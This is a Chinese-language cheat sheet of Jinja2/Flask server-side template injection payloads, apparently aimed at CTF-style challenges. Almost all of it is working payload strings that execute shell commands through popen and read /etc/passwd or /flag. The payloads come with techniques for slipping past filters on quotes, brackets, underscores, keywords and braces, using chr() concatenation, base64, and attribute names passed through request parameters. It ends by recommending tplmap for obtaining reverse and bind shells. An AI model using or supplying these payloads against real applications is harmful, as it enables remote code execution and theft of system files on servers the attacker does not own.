- 绕过
- 过滤单双引号 `' "`
- 过滤中括号`[]`
- 过滤双下划线 `_`
- 过滤关键字
- 过滤双花括号`{}`
- 通用getshell
- tricks
- Python字符的几种表示方式
- Python字典或列表获取键值或下标的几种方式
- SSTI获取对象元素的几种方式
- request旁路注入
- 通过request传参绕过(过滤命令时可用,当然,一般是不会起这么嚣张的参数名的[doge])
# request.values
{{"".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen(request.values.rce).read()}}&rce=cat /flag
# request.cookies
{{"".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen(request.cookies.rce).read()}}
Cookie: rce=cat /flag;
# 还有request.headers、request.args,这里不作演示
- 获取chr函数,赋值给chr,拼接字符串
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
# %2b是+的url转义
{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}
过滤中括号[]
# 原payload,可以使用__base__绕过__bases__[0]
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()
# 通过__getitem__()绕过__bases__[0]、通过pop(128)绕过__subclasses__()[128]
"".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen('whoami').read()
# 原payload
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")
# 绕过
[].__class__.__base__.__subclasses__().__getitem__(59).__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")
`pop()` 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值,或者用 getitem
# 原payload
__mro__[2]== __mro__.__getitem__(2)
# 绕过
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
过滤双下划线 _
# request妙用,绕过
{{''[request.args.a][request.args.b][2][request.args.c]()}}&a=__class__&b=__mro__&c=__subclasses__
# request传参绕过
# request.args
{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
# request.cookies
{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}
Cookie: class=__class__; mro=__mro__; subclasses=__subclasses__;
# 还有request.headers、request.args
过滤关键字
- 拼接字符串
'o'+'s'
'sy' + 'stem'
'fl' + 'ag'
{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}
- 编码:Base64、rot13、16进制…
{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
过滤双花括号{}
{% + print绕过
{%print(''.__class__.__base__.__subclasses__()[138].__init__.__globals__.popen('whoami').read())%}
通用getshell
- 过滤引号、中括号
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}{% for c in ().__class__.__base__.__subclasses__() %} {% if c.__name__==chr(95)%2bchr(119)%2bchr(114)%2bchr(97)%2bchr(112)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(111)%2bchr(115)%2bchr(101) %}{{ c.__init__.__globals__.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read() }}{% endif %}{% endfor %}
- 过滤引号、中括号、下划线
# 使用getlist,获取request的__class__
{{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
# 拆解一下,等价于下列payload
{{request|attr('__class__')}}
{{request['__class__']}}
{{request.__class__}}
# 获取__object__
{{request|attr(request.args.getlist(request.args.l1)|join)|attr(request.args.getlist(request.args.l2)|join)|attr(request.args.getlist(request.args.l2)|join)|attr(request.args.getlist(request.args.l2)|join)}}&l1=a&a=_&a=_&a=class&a=_&a=_&l2=b&b=_&b=_&b=base&b=_&b=_
# 通过flask类获取会更快
{{flask|attr(request.args.getlist(request.args.l1)|join)|attr(request.args.getlist(request.args.l2)|join)}}&l1=a&a=_&a=_&a=class&a=_&a=_&l2=b&b=_&b=_&b=base&b=_&b=_
- 过滤引号、中括号、下划线、花括号(综合大应用),可能会有一点点复杂:)
# 打印子类并找到可以利用的类
{%print(flask|attr(request.args.getlist(request.args.l1)|join)|attr(request.args.getlist(request.args.l2)|join)|attr(request.args.getlist(request.args.l3)|join)())%}&l1=a&a=_&a=_&a=class&a=_&a=_&l2=b&b=_&b=_&b=base&b=_&b=_&l3=c&c=_&c=_&c=subclasses&c=_&c=_
# 然后稍微加一点难度
# 目录-寻找可利用类 中用到的脚本跑一下,得到os._wrap_close的序号为138(这里用这个类来演示),于是:
{%print(flask|attr(request.args.getlist(request.args.l1)|join)|attr(request.args.getlist(request.args.l2)|join)|attr(request.args.getlist(request.args.l3)|join)()|attr(request.args.getlist(request.args.l4)|join)(138)|attr(request.args.getlist(request.args.l5)|join)|attr(request.args.getlist(request.args.l6)|join)).popen(request.args.rce).read()%}&l1=a&a=_&a=_&a=class&a=_&a=_&l2=b&b=_&b=_&b=base&b=_&b=_&l3=c&c=_&c=_&c=subclasses&c=_&c=_&l4=d&d=_&d=_&d=getitem&d=_&d=_&l5=e&e=_&e=_&e=init&e=_&e=_&l6=f&f=_&f=_&f=globals&f=_&f=_&rce=whoami
# 等价于
{{''.__class__.__base__.__subclasses__()[138].__init__.__globals__.popen('whoami').read()}}
tricks
Python字符的几种表示方式
16进制 x41
8进制 101
unicode u0074
base64 'X19jbGFzc19f'.decode('base64') python3
join "fla".join("/g")
slice "glaf"[::-1]
lower/upper ["__CLASS__"|lower
format "%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)
replace "__claee__"|replace("ee","ss")
reverse "__ssalc__"|reverse
Python字典或列表获取键值或下标的几种方式
dict['__builtins__']
dict.__getitem__('__builtins__')
dict.pop('__builtins__')
dict.get('__builtins__')
dict.setdefault('__builtins__')
list[0]
list.__getitem__(0)
list.pop(0)
SSTI获取对象元素的几种方式
class.attr
class.__getattribute__('attr')
class['attr']
class|attr('attr')
"".__class__.__mro__.__getitem__(2)
['__builtins__'].__getitem__('eval')
class.pop(40)
request旁路注入
request.args.name #GET name request.cookies.name #COOKIE name request.headers.name #HEADER name request.values.name #POST or GET Name request.form.name #POST NAME request.json #Content-Type json
手工搞,肯定就麻了,这里推荐自动化工具tplmap,拿shell、执行命令、bind_shell、反弹shell、上传下载文件,Tplmap为SSTI的利用提供了很大的便利
github地址:https://github.com/epinna/tplmap



